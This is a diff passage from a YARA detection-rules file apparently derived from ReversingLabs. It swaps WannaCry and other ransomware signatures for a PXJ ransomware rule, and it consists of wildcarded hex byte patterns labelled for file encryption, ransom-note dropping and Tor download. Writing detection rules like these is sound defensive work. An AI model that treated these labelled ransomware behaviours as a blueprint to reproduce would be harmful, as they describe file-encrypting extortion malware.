-		$encrypt_files = {
-            1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 03 0B 07 18 73 ?? ?? ?? ?? 0C 73
-            ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 04 06
-            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 19 6F ??
-            ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ??
-            ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 13 ?? 15 33
-            ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ??
-            13 ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A
-        }
 		$find_files = {
-            16 0A 38 ?? ?? ?? ?? 16 0B 2B ?? 02 06 9A 28 ?? ?? ?? ?? 2C ?? 02 06 9A 73 ?? ?? ?? ??
-            0C 08 72 ?? ?? ?? ?? 03 07 9A 28 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0D 09 13 ?? 16 13 ?? 2B
-            ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 05 28 ?? ?? ?? ?? 1E
-            8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ??
-            11 ?? 8E 69 32 ?? 07 17 58 0B 07 03 8E 69 32 ?? 06 17 58 0A 06 02 8E 69 3F ?? ?? ?? ??
-            2A
+            50 50 8D 8D ?? ?? ?? ?? 51 8D 8D ?? ?? ?? ?? 51 50 50 50 56 FF 15 ?? ?? ?? ?? 85 C0
+            75 ?? 57 53 E8 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            A8 ?? 75 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 3B 85 ?? ?? ?? ?? 76 ?? 8D 85 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 2B 95 ?? ?? ?? ?? 59 03 C2 B9 ?? ?? ?? ?? 3B C1
+            7D ?? 8D 85 ?? ?? ?? ?? 2B CA 50 51 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? EB ?? 85 DB 0F 84
+            ?? ?? ?? ?? C7 43 ?? ?? ?? ?? ?? 85 FF 75 ?? 33 C0 EB ?? 57 E8 ?? ?? ?? ?? 59 50 57
+            8D 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 4E ?? E8 ?? ?? ?? ?? 33 C0 40 E8 ?? ?? ??
+            ?? C2 ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
+            F6 89 75 ?? 33 FF 89 7D ?? 21 75 ?? 21 75 ?? 39 3D ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8
+            ?? ?? ?? ?? 8B F8 89 7D ?? 85 FF 74 ?? FF 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 8B F0 89 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E8 ?? ?? ?? ?? C2
         }
-		$collect_env_and_start_enc_proc = {
-            19 8D ?? ?? ?? ?? 0B 07 16 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 17 1B
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 18 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? A2 07 1F ?? 8D ?? ?? ?? ?? 0C 08 16 72 ?? ?? ?? ?? A2 08 17 72 ?? ??
-            ?? ?? A2 08 18 72 ?? ?? ?? ?? A2 08 19 72 ?? ?? ?? ?? A2 08 1A 72 ?? ?? ?? ?? A2 08 1B
-            72 ?? ?? ?? ?? A2 08 1C 72 ?? ?? ?? ?? A2 08 1D 72 ?? ?? ?? ?? A2 08 1E 72 ?? ?? ?? ??
-            A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08
-            1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ??
-            72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ??
-            ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ??
-            ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 72 ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A
-            06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 72 ?? ?? ?? ?? 16
-            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 72 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A
+		$drop_aux_files = {
+            A1 ?? ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 89 41 ?? 66 A1 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 6A ?? 66 89 41 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 56 6A ?? FF 15 ?? ??
+            ?? ?? 89 85 ?? ?? ?? ?? 85 C0 74 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 50 FF 15
+            ?? ?? ?? ?? 8B F8 85 FF 74 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B
+            F0 83 C4 ?? 85 F6 74 ?? 56 FF B5 ?? ?? ?? ?? 6A ?? 57 E8 ?? ?? ?? ?? 6A ?? 6A ?? 56
+            E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 81 C6 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
+            ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 6A ?? 56 FF 15 ?? ??
+            ?? ?? 50 89 85 ?? ?? ?? ?? E8
+        }
+		$drop_ransom_notes = {
+            89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0
+            75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8
+            ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83 C0 ?? 89 85 ?? ?? ?? ?? 68 ??
+            ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? B9 ?? ?? ?? ?? 8D
+            51 ?? 90 8A 01 41 84 C0 75 ?? 2B CA 51 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B C8 85 C9 0F 84 ?? ?? ?? ?? 8B 01 8B 40 ?? FF D0 83
+            C0 ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ??
+            84 C0 75
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($collect_env_and_start_enc_proc) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and ($find_files) and ($drop_aux_files) and ($drop_ransom_notes)
 }
-import "pe"
-
-rule REVERSINGLABS_Win32_Ransomware_Wannacry : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_PXJ : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects WannaCry ransomware."
+		description = "Yara rule that detects PXJ ransomware."
 		author = "ReversingLabs"
-		id = "61734d47-2525-5e3a-94b4-60493dfe2b93"
+		id = "c1549905-5b31-55c0-a275-0ab8133b3504"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.WannaCry.yara#L3-L135"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fed58b533a9f7c3eb1b3e4f8fbe1f519aab94d1c066ae6937c21876693be0eac"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.PXJ.yara#L1-L158"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "e88d27dcd7ad3af459bd7e34fcc827822365441446b0e4e7bbec399c9a948cb7"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -34206,125 +35809,147 @@ rule REVERSINGLABS_Win32_Ransomware_Wannacry : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "WannaCry"
+		tc_detection_name = "PXJ"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$main_1 = {
-            A0 ?? ?? ?? ?? 56 57 6A ?? 88 85 ?? ?? ?? ?? 59 33 C0 8D BD ?? ?? ?? ?? F3 AB 66 AB
-            AA 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88
-            18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59
-            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85
-            C0 74 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D
-        }
-		$main_2 = {
-            68 ?? ?? ?? ?? 33 DB 50 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 15
-            ?? ?? ?? ?? 83 38 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 00 FF 70 ?? E8 ?? ??
-            ?? ?? 59 85 C0 59 75 ?? 53 E8 ?? ?? ?? ?? 85 C0 59 74 ?? BE ?? ?? ?? ?? 53 8D 85 ??
-            ?? ?? ?? 56 50 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0
-            59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E8 ?? ?? ?? ??
-            53 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 68 ?? ?? ?? ?? E8
-        }
-		$main_3 = {
-            83 EC ?? 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7C 24 ?? 33 C0 F3 A5 A4 89 44 24 ??
-            89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 50 50 50 6A ?? 50 88
-            44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 8B F0 6A ?? 51 56
-            FF 15 ?? ?? ?? ?? 8B F8 56 8B 35 ?? ?? ?? ?? 85 FF 75 ?? FF D6 6A ?? FF D6 E8
-        }
-		$start_service_3 = {
-            83 EC ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
-            38 ?? 7D ?? E8 ?? ?? ?? ?? 83 C4 ?? C3 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ??
-            ?? 8B F8 85 FF 74 ?? 53 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D
-            ?? ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E
-            5B 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 83 C4 ?? C3
-        }
-		$main_4 = {
-            83 EC ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 53 56 68
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 ??
-            6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E 5B 8D 44 24 ?? C7 44 24 ?? ??
-            ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? 33 C0 5F 83 C4 ?? C2
-        }
-		$main_5 = {
-            68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
-            FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8
-            ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D
-            8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 3B C3 74 ?? FF 75 ?? 50 E8
-            ?? ?? ?? ?? 59 3B C3 59 74 ?? 68 ?? ?? ?? ?? 50 E8
+		$find_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 8B D9 68 ?? ?? ?? ??
+            33 F6 8D 8D ?? ?? ?? ?? 33 C0 56 51 89 9D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 83 C4 ?? 53 8D 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ??
+            ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ??
+            ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 53 8D 85 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B
+            50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ??
+            3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66
         }
-		$main_6 = {
-            FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? C2
+		$find_files_p2 = {
+            3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB
+            ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 9F ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF
+            66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51
+            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ??
+            ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
+            ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D
+            85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 3A C1 75 ?? 01 8F ?? ?? ?? ?? 11
+            B7 ?? ?? ?? ?? EB ?? 01 8F ?? ?? ?? ?? 11 B7 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? 51 52 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 8B 4D ?? 5E 33 CD B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$set_reg_key_6 = {
-            68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ??
-            ?? 8B 2D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 FF 89 7C 24 ?? 85 FF 75 ?? 8D 4C
-            24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? ?? EB ?? 8D 44 24 ?? 8D 4C 24 ?? 50 51 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 85
-            C9 74 ?? 8D 94 24 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF D5 8D BC 24 ?? ?? ?? ?? 83 C9 ??
-            33 C0 F2 AE F7 D1 8D 84 24 ?? ?? ?? ?? 51 8B 4C 24 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
-            51 FF D3 8B 7C 24 ?? 8B F0 F7 DE 1B F6 46 EB ?? 8D 54 24 ?? 8D 8C 24 ?? ?? ?? ?? 52
-            51 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15
+		$encrypt_files_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1
+            ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 89 85 ?? ?? ?? ?? 8B 45 ?? 68 ?? ?? ?? ?? 50 89 85 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 4D
+            ?? 8B 55 ?? 51 52 E8 ?? ?? ?? ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 53 50 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
+            83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 51 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 33 F6 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ??
+            46 83 FE ?? 7C ?? 8D 55 ?? 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ??
+            ?? ?? ?? 8D B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? 6A ?? 51
         }
-		$download_tor_6 = {
-            81 EC ?? ?? ?? ?? 53 55 56 57 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A0 ?? ?? ?? ??
-            B9 ?? ?? ?? ?? 88 44 24 ?? 33 C0 8D 7C 24 ?? 8B 35 ?? ?? ?? ?? F3 AB 68 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 66 AB 68 ?? ?? ?? ?? 8D 4C 24 ?? 33 ED 68 ?? ?? ?? ?? 51 89 2D ?? ??
-            ?? ?? 89 2D ?? ?? ?? ?? AA FF D6 8B 1D ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 FF D3 83
-            F8 ?? 0F 85 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84
-            C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 A0 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 84 24 ??
-            ?? ?? ?? 33 C0 8D BC 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 AB 66 AB 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 AA FF D6 83 C4 ?? 8D 94 24 ?? ?? ??
-            ?? 52 FF D3 83 F8 ?? 75 ?? 5F 5E 5D 32 C0 5B 81 C4 ?? ?? ?? ?? C3
+		$encrypt_files_p2 = {
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 95
+            ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B B5 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 56
+            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 56 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 85 ??
+            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 56 89 9D ?? ?? ?? ?? 89 9D ?? ?? ??
+            ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ??
+            8B 3D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50
+            56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52
+            8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D
+            95 ?? ?? ?? ?? 52 56 FF D7 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ??
+            ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 11 9D ?? ?? ?? ?? 8B 9D
+            ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 D2 52 52 52 33 C9 51 50
+            FF 15 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B C6 8D
         }
-		$main_7 = {
-            68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50
-            FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ??
-            ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8
